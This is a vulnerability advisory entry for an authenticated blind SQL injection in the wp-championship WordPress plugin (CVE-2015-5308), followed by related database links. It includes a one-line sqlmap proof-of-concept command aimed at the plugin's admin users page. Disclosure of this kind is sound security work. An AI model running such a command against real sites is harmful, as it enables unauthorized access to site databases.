Lucene search
Larry W. CashdollarWPVDB-ID:071B39E9-C4DD-40CC-91B8-773B361DF622HistoryOct 23, 2015 - 12:00 a.m.
wp-championship <= 5.8 - Authenticated Blind SQL Injection
2015-10-2300:00:00
Larry W. Cashdollar
wpscan.com
7
EPSS
0.002
Percentile
53.3%
The wp-championship WordPress plugin was affected by an Authenticated Blind SQL Injection security vulnerability.
PoC
$ sqlmap -u ‘http://www.example.com/wp-admin/wp-championship/cs_admin_users.php&userid;=’ --data=“isadmin=1&user;” --cookie=AUTH_COOKIE_HERE --level=5 --risk=3
References
Related
prion
prion
Sql injection
2015-11-02 19:59:00
wpexploit
wpexploit
wp-championship <= 5.8 - Authenticated Blind SQL Injection
2015-10-23 00:00:00
nvd
nvd
CVE-2015-5308
2015-11-02 19:59:07
cve
cve
CVE-2015-5308
2015-11-02 19:59:07
patchstack
patchstack
WordPress WP Championship Plugin <= 5.8 - Multiple SQL Injection
2015-07-01 00:00:00
cvelist
cvelist
CVE-2015-5308
2015-11-02 19:00:00